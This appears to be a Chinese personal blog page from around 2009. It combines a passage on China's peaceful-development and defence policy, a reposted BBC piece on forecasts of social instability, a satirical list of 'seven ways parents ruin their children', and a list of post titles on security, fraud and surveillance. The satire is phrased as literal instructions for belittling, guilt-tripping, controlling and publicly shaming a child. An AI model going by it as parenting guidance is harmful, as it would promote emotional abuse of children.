　　当今世界，尽管仍然面临传统威胁与挑战，而且新的威胁与挑战不断出现，但是和平与发展仍然是世界的主流。全球化大潮方兴未艾，全球化把世界各国紧密的联系起来，并给世界各国带来深刻而持久的变化。世界充满了机遇与挑战，世界主要国家都在利用和平时期加紧时间发展自己。
　　中国是世界不可或缺的一部分，世界需要中国，中国也需要世界，中国的发展离不开世界，世界的发展也不开中国，中国与世界紧紧相连。中国始终坚定不移的走和平发展道路，这一点现在不会改变，今后也不会改变。中国在国内致力于建设社会主义和谐社会，在国际上致力于建设和谐世界。中国不争霸，也不谋求超级大国地位，中国将主要精力致力于13亿中国人]民过上小康生活。中国主张建立更加公正合理的国际新秩序，并愿意与世界各国共同为之努力，中国反对任何形式的霸权主义与强权政治。中国愿意为世界的和平与发展贡献自己应有的力量。
近年来，全球气温变暖，环境污染与生态破坏威胁世界各国的安全，保护生态环境是世界各国人民共同的责任与义务。中国高度重视环境保护，将加强环境治理与保护生态的力度，为世界人民有一个美丽的地球尽应尽的义务。
　　中国面临新的安全形势，加速国防建设日益紧迫。中国的发展不会威胁他国，但是中国也不会对他国对中国产生的威胁置若罔闻。新世纪新阶段，中国将更加合理的统筹经济建设与国防建设，积极推进中国特色军事变革。

Download

2009!Happy New Year!

2009-01-01T06:36:00.000-08:00

中国智库担忧明年社会稳定

2008-12-16T07:54:00.000-08:00

金融危机，地方动荡的政治危机，以及明年的人权纪念日，欲演欲烈否?

from:http://news.bbc.co.uk/chinese/simp/hi/newsid_7780000/newsid_7784500/7784546.stm
　　中国智库预测，明年中国社会状况不乐观。中国社科院在发表的2009年的社会蓝皮书中警告说，股市和房市的损失会危及中国的金融系统。

　　报告还预测，中国失业率将上升，收入差距拉大，将导致社会不稳定。

　　社会学者胡星斗预测，2009年最受关注的问题是饭碗问题。他说，2009年，中国的物价不会出现上涨压力，但如果经济不景气，人们的收入会减少。

　　他说在白领人群中，现在已经有自降薪水的情况，因为受金融危机影响，企业效益下滑，人们的收入的预期也下调。

　　此外，大批农民工从城市返乡。胡星斗说，因为外出务工的收入已经占农民收入的七成，所以农民工返乡意味着他们的收入减少。

　　社科院社会学所长李培林在蓝皮书发布会上还说，除了农民工问题，大批大学毕业生年底很难就业。今年有560万大学毕业生面临就业，但全球金融危机严重影响了中国的就业市场。

　　社科院社会学研究所的李炜博士说，调查发现，物价、看病或者医疗和收入差距、失业是今年最突出的问题。

　　李炜博士说，调查发现，56.5%的人认为，穷人和富人差距加大，其次是干部和群众。许多人认为穷人和富人之间的矛盾，干部和群众之间的矛盾是社会群体利益冲突的主要形式。

　　BBC中文编辑陈时荣说，中国维持社会稳定依赖快速的经济增长。现在中国出口市场紧缩，经济增长的动力减少，所以社会稳定成了大问题。

家长毁掉自己孩子的7个方法

2008-12-08T09:15:00.001-08:00

如果你想知道原理，推荐你看《在21岁之前五个阶段的主题成长需要》

　　首先应该做的是摧毁孩子的自尊,将孩子贬到卑微的地位上.具体方法有这样几条:
　　1,让孩子觉得自己什么都不行,没人赏识他.例如学习不行,长相不行,交际不行,干家务不行,马虎,粗心,让家人为他受累……总之,他没有行的地方.
　　2,经常拿比他"行"的人刺激他.例如这种话要时常挂在嘴边:"看人家××,从不让父母操心!"这类话最具打击力和摧毁力,是毁孩子的王牌语录.
　　3,父母把自己塑造成为家庭牺牲者的形象,这样会使孩子产生罪恶感.而一个有罪恶感的人往往采用自暴自弃的方法度过一生.具体方法举例如下:经常告诉孩子,自从有了他,你连电影也没看过,你为他操碎了心,都累出病来了,最好再具体说出你身上的哪种病是由于他造成的.或者说,如果不是为了照顾他,自己早就在事业上有大发展了.
　　4,和孩子说话时口气决不能和蔼,切不可使用商量的口吻,一定要使音量达到70分贝以上,一定要使用命令式的口吻.如果还能配合一些挖苦讽刺的汉语词组,则效果更佳.如"你真蠢""你混""没见过你这么傻的""怎么生了你这么个东西"等等.
　　5,孩子的一切要由你来决定,切不可给他一点儿自由,他的行踪你要密切注视.他如果有日记,一定要设法查看;他如果有信件,一定要审查.这样做能在他心里造成他不是人的感觉,造成他是一个受人操纵的木偶的感觉.一个怀疑自己不是人的人是绝不可能奋发上进的.
　　6,要学会迁怒的本事.单位上遇到不顺心的事,回来后要想方设法找理由给孩子泼狗血.无论什么事都归功于孩子的过错然后教训他,并制止他流眼泪.这样做可以有效地打击孩子的自尊心,增强孩子的自卑感,同样可以造成他不是人的感觉.
　　7,当众出孩子的丑.前6条都是在家庭里的"单练".真正要彻底毁掉他,这第7条才是杀手锏.你一定要当着外人(或同学或亲友或邻居)损他,贬他,让他无地自容.从心理学角度讲,这样做能使一个人产生惧怕社会的心理,产生自惭形秽的念头.而一个惧怕社会和自惭形秽的人是很难立足於社会的.
　　您掌握了以上7条,就基本上可以毁掉自己的孩子了.当然,还得在实践中不断总结经验,做到运用自如,这样才能将你的孩子彻底毁掉,使他终身一事无成.

关注于非传统信息安全

幸福那么短，幸福那么长

东野圭吾时代的日式刑侦剧

很让人崩溃的QQ好友克隆

显摆一下我的火狐浏览器

简单制作超具杀伤性武器

美国政府为应对网络危险寻求黑客保护

ATM维护人员教大家正确使用银行卡和取款机

Chinese National Arrested For Source Code Theft

17岁少年：Twitter XSS蠕虫是我做的

大牛叫你怎样识别假新闻

电视购物陷阱骗及17省市 20余天骗得10万余元

How To Set Up Remote Computer Access With Your Mobile Phone

How to Set Up Remote Computer Access With Your Mobile Phone

How To Set Up And Configure The .NET VNC Mobile Viewer

How to Connect to Your PC While Not at Home

Final Words

研究：中国黑客从事网络间谍

越来越多政府利用新技术控制网络

教你在任意国内网站快速删除帐号

垃圾短信比垃圾邮件聪明的地方

盗窃14万游戏币被判10年半

手机病毒是怎样攻击手机的？

安全聚焦：危机四伏的ATM取款机

GhostNet or Gh0st RAT: The Cyber Persecution of Tibet

胡扯闲聊~安全守则

瑞星个人隐私安全报告（2009）

诈骗集团新手法

加拿大研究声称中国黑客操控网络间谍

“美国的顶级对手是俄罗斯和中国”――专访美国网络安全报告起草人James A. Lewis

第一次网络世界大战会否打响？

美国中情局刑讯逼供14名“高价值囚犯”

“这个国家需要彻底的调查”――专访加州大学伯克利分校新闻学教授马克・丹纳

全国计算机考试考生手机收到三套答案

《Lie to me》:别对我撒谎

初中游民伪造信用卡套90万 称银行卡科技含量低

法定证明山东移动贩卖个人信息属实 可认其犯罪

什么样的跳板才是安全的？

智能卡安全初探

网络监控的原理与技术

深圳破获首宗利用互联网贩卖走私手表案

Facebook 更新隐私设置，促进信息公开

阿根廷农民罢工引发粮食价格上涨

警惕“代刷主题推广数据”、“账号收购”骗局！

军犬网络舆情监控系统

公关公司伪造撤稿函 要求删除圣元奶粉负面新闻

中国移动，日进3亿

报告称俄罗斯情报机构与网络攻击有关

肯塔基州6人利用“社会工程学” 非法操控电子投票机

调查:超过60%的前雇员都带走公司的机密材料

藏身于身份牌里的间谍摄像头

中宣部加强媒体控制应对稳定挑战

安全跑路指南补充版

令人期待FOX新剧——《别对我撒谎》

奥巴马提名丹尼斯·布莱尔为中情局局长

TRS网络舆情监控系统

全国人大常委会必须回答什么是"情报"

全国整治互联网低俗之风第一批曝光网站名单

假冒的CA认证授权安全问题

2008年中国国防白皮书

2009!Happy New Year!

中国智库担忧明年社会稳定

家长毁掉自己孩子的7个方法

初中游民伪造信用卡套90万称银行卡科技含量低

法定证明山东移动贩卖个人信息属实可认其犯罪

公关公司伪造撤稿函要求删除圣元奶粉负面新闻